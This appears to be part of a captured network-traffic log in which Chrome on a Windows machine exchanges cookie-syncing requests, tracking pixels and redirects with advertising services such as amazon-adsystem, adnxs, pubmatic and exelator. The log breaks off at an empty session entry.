2024-05-24 22:46:26 UTC	365	IN	Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6c 6d 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 2f 6c 6d 2f 61 63 73 3f 6a 73 6f 6e 3d 26 23 78 37 62 3b 26 71 75 6f 74 3b 47 55 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 66 36 31 62 39 36 34 39 2d 65 39 31 64 2d 34 63 66 38 2d 38 39 36 61 2d 39 35 38 38 64 64 66 63 36 64 31 34 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 54 69 6d 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 32 30 32 34 30 35 32 34 54 32 32 34 36 32 36 Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://lm.serving-sys.com/lm/acs?json={"GUID":"f61b9649-e91d-4cf8-896a-9588ddfc6d14","Time":"20240524T224626

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.6	50320	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	443	OUT	GET /ecm3?ex=connatixHMT&id=OZuBC1poRAKq_qRboEaExQ HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: H8DSXPPTXM5YD9WMCH40 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.6	50319	185.89.210.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	959	OUT	GET /getuid?https://s.amazon-adsystem.com/ecm3?id=$UID&ex=appnexus.com HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>Afr*yWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd
2024-05-24 22:46:26 UTC	1438	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://s.amazon-adsystem.com/ecm3?id=6116765264039870456&ex=appnexus.com AN-X-Request-Uuid: d773ed1c-a391-4c84-9afd-6843f970487a Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:26 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:26 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:26 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.6	50321	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	464	OUT	GET /engagement/getpixels?gid=15654 HTTP/1.1 Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:26 UTC	289	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html Expires: -1 Access-Control-Allow-Origin: * X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:45:57 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.6	50308	18.199.24.49	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	637	OUT	GET /api/v1/dsync/amazon?exid=IoDspU2wQteYp1WkLseR6w&r=https://s.amazon-adsystem.com/ecm3?ex=KargoHMT&id= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ktcid=6319c288-41f9-0f33-5a22-3483ce329f63; Path=/; Domain=kargo.com; Expires=Sat, 24 May 2025 22:46:26 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0 X-Rejected: consent
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.6	50325	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	647	OUT	GET /ecm3?ex=index&id=LwMvj4H4odxwUkfweFe5RDc4dU04ZgIC HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: Y63VVJP23B2QWFH6JJD5 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.6	50327	54.36.150.187	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	591	OUT	GET /v1/get_or_create?gdpr=0&domid=1109 HTTP/1.1 Host: cookie-matching.mediarithmics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:27 UTC	318	IN	HTTP/1.1 303 See Other location: https://cm.g.doubleclick.net/pixel?google_nid=medr&google_cm&key=GOO&process_consent=T&action=GET_ID&opid=goo&etid=&domid=1109&ops=apx content-length: 0 date: Fri, 24 May 2024 22:46:27 GMT strict-transport-security: max-age=63072000;includeSubDomains;preload connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.6	50334	54.211.255.43	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	673	OUT	GET /v1/lci/sync/adv-amzn/c-23445/?rdr=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3F%26ex%3Dninthdecimal.com%26id%3D%24%7BND_UID%7D HTTP/1.1 Host: lciapi.ninthdecimal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:27 UTC	745	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: text/html Content-Length: 151 Connection: close Server: openresty/1.21.4.1 Location: https://s.amazon-adsystem.com/ecm3?&ex=ninthdecimal.com&id=2C431E0AC31851662500575602FA372F Expires: Fri, 24 May 2024 22:46:26 GMT Cache-Control: no-cache Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.homedepot.com Access-Control-Expose-Headers: User-NDAT Cache-Control: private P3P: CP="This is not a P3P policy! See http://www.ninthdecimal.com/privacy-policy-terms-of-service for more info." Set-Cookie: ndat=Ch5DLGZRGMNWVwAlLzf6Ag==; expires=Sat, 24-May-25 22:46:27 GMT; domain=.ninthdecimal.com; path=/;Secure;SameSite=None
2024-05-24 22:46:27 UTC	151	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.21.4.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.6	50333	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	457	OUT	GET /ecm3?ex=adobe.com&id=15028710952493579300771312513576972253 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:27 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: YXXZPZ9JS3Y9MTYJX4TM Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.6	50329	198.47.127.205	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	730	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzgmdGw9MTI5NjAw&piggybackCookie=8HqdmD-3T2Kfc3JXiy0NuQ&rd=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DpubmaticHMT%26id%3D%24%7BDSP_UID%7D HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:27 UTC	725	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 24 May 2024 22:46:26 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_290=23261-8HqdmD-3T2Kfc3JXiy0NuQ&KRTB&23219-8HqdmD-3T2Kfc3JXiy0NuQ&KRTB&23561-8HqdmD-3T2Kfc3JXiy0NuQ; domain=pubmatic.com; SameSite=None; secure; expires=Thu, 22-Aug-2024 22:46:26 GMT; path=/ Set-Cookie: PugT=1716590786; domain=pubmatic.com; SameSite=None; secure; expires=Sun, 23-Jun-2024 22:46:26 GMT; path=/ Location: https://s.amazon-adsystem.com/ecm3?ex=pubmaticHMT&id=8HqdmD-3T2Kfc3JXiy0NuQ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-24 22:46:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.6	50331	54.78.254.47	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	2079	OUT	GET /load/?p=204&g=8888&j=0 HTTP/1.1 Host: loadus.exelator.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EE="255938791ef4d4d26431397836a1a4e2"; udo="gAAAAAQAAAUqKLUv%252FWAqBIUaAFZuqUgQq1gHAKAIAHBXgOF%252FFEHFT%252FV5FwvgdHJcVReNGBBHRMsw8u2eCsYgC5tNcO7XTugjsM2EhPZpBWFPtpvFYGRgyw1XkgUenQKUAJQAlAAkz5%252BokUGOQYzjMgoTMu9OR3MyI1TBMgwLITXR08bJ1hyDvF11VLqaPhORR8zAHY5DvHXtkCsayU9IfymbpnlaBQ8mtwahdJ7b%252BeiPi0jx4zqHvL1w4EGcqfOj5PXR9vc%252FwL8o4gHDkJXXG0L8f8S%252FvLy8PIH%252FB6DgXUDa%252Fu6Qy3Fa0xINETigjET8e2BTroG1ty%252BFInatPeWholIS5izRlF07CIOKiZYjs0zXUYvMnxaGYe0shHTltDKNBvO6TKbJTlLtqnaQPFYbtnkzqD%252BO84gvsFI6e5alCqTm6JFvMYV0npgU2tdSxWyYs7f9zBCOulWiLjjqDVHG2KwGqjGL44jL0wjlcaYk1kmJuqJRh5nEHye0XVnE0PozAcVWRU1THWwHVxkkCisrqmqCppIQIsIg95AkD%252FN2hWDwEMQ1PKsBD%252BKDuxmue3EG2Gmyik3LKjJcxQZlg0S%252BgUfetkBb%252FLb70WKYR61zZVZmto3G27KNy2gmZ3KlnnmazeZ1nYZ5F1AMvZose8eswWqgEjnQI6jjvo2Dc%252F40bMs2GIObjePA7NO%252BTGfTOhzmXTI6m8O0zc2Th2u19YpkfwE%252FIvG%252F8h5aJlomOhT4DyaH%252Br5U1OkNUUnuq1QavS%252BWNd9NQoTi%252FxEEeAEf8RESIm%252BxeV53YY4sMszEXpQsGLzLmZosF0nLq8AuHixAe4IdokC7hfCDPRyHVqYUmqJcrw4Tayp5bVBsmWABKcGVZW3dlinZ [TRUNCATED]
2024-05-24 22:46:27 UTC	2664	IN	HTTP/1.1 302 server: nginx date: Fri, 24 May 2024 22:46:27 GMT content-type: image/gif content-length: 0 cache-control: no-cache x-powered-by: Undertow/1 set-cookie: EE="255938791ef4d4d26431397836a1a4e2"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:27 GMT; SameSite=None; Secure; set-cookie: udo="gAAAAAQAAAUyKLUv%252FWAyBL0aAIZuqkgQq1gHAKAIAHBXgOF%252FFEEdPdXnXSyA08lzVV00YsBoKmvjybd7KhiDLGw2wblfO6GPwDYTEtqnFYQ92W4Wg2EHttxwJVng0SmVAJQAlAAlz%252BC4kUOOw6zrtAqTMu9OR%252FNSQ1TJNEwbQT3TE8fJ1hyH3G11lMqaQBORZ9TAHY5D3IXtEEtElp%252BQBlO4bfs2Cx5cbg1C8T5W56NBLipHkOsschcDgheBplCQkhiI29%252F%252FAP%252BjiCcUVSuvOYz4f4l%252FeXl5eQL%252FD2DBu4S4%252Fd0hVseJVUs2SPCAMiLxD6JNsQyw3X0rBOCIYWxPfawolYRBzVRt2Q7KoHKm5ug0VXb0KvPnlWVgextBZTkvzUaTfV5G02gnKZddPUgfLS7bvDnUIMeZxBhSSCiKSaWdNVcMh0G721ENIqlfZsoKSc0hyhnb1VvULFkoNUeTfI8pDlZkHkkSmylLRGoxlxjkhDbMPI1QH6hKcp3kMUNr0CQcXZVVTXm0PWxlkCirlZV1RWFbTVCJcMg9ZcnFvGGqDC6C%252BIanNeBFgHBWpvNerBF6Gs2C2zSLTGexQdmgkXNgkrsv0B7BzfroUczk1jtTMzPcRvNxGtdltrM7u1LXPs2G%252Bzxvw7xLOIZejaa9ZN5wOViJHmgS5HUgx8E5g1vGaRuMww3XdaEGbmCmw22dDvMuGp3dZdvm5%252BkD1tq6RbID3%252BHAyMT%252FyoNooWih%252BFDgQ5wd6xtbUadXtZJYsVJp9Mba9ny5CZGK%252F08Q4AW8xEtMiPwF930exjm60DJTi1G6aPAuqHq6YCSvzyLDgMAg7Qp2qCLtF8QP9nAcaplSqYqCxTxMrakktsOxhYIlxAzZ1sV5XKZkg4JUhKAn83ypWrE2NTsKouaJ1Nc2heQzcrgGYf8dDoxMsHSsWih [TRUNCATED] set-cookie: hsk_7993="gAAAAAQAAABQKLUv%252FSBQgQIAiKRidWlkoKNoc2ukNjM1M6hkZWxpdmVyeaQ2MzUzo3ZlcgGlYm5hbWWnUzIwNEdDOaV0c2Vnc6cyOTM3NzgzpWJjb2RlzR85onRzylPH1mQ%253D"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:27 GMT; SameSite=None; Secure; set-cookie: ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVzmnFGUn5u6AiwU5hq02NDQfEl%252BUWb6otDgxUUpaQyLSopPBR%252B%252FlgIAVAkp1A%253D%253D"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:27 GMT; SameSite=None; Secure; p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA location: https://s.amazon-adsystem.com/ecm3?&ex=nielsen&id=255938791ef4d4d26431397836a1a4e2 access-control-allow-credentials: true p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.6	50343	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	641	OUT	GET /ecm3?id=6116765264039870456&ex=appnexus.com HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:27 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 97TEBFNDJWKT1SAZF9QS Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.6	50344	35.244.159.8	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:27 UTC	736	OUT	GET /w/1.0/sd?id=537072986&val=IU6Tn8pARVKPmCDwMrtS3Q&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DopenxHMT%26id%3D%7BOPENX_RTB_USERID%7D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
2024-05-24 22:46:27 UTC	542	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept Set-Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776; Version=1; Expires=Sat, 24-May-2025 22:46:27 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://s.amazon-adsystem.com/ecm3?ex=openxHMT&id=IU6Tn8pARVKPmCDwMrtS3Q Date: Fri, 24 May 2024 22:46:27 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.6	50346	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
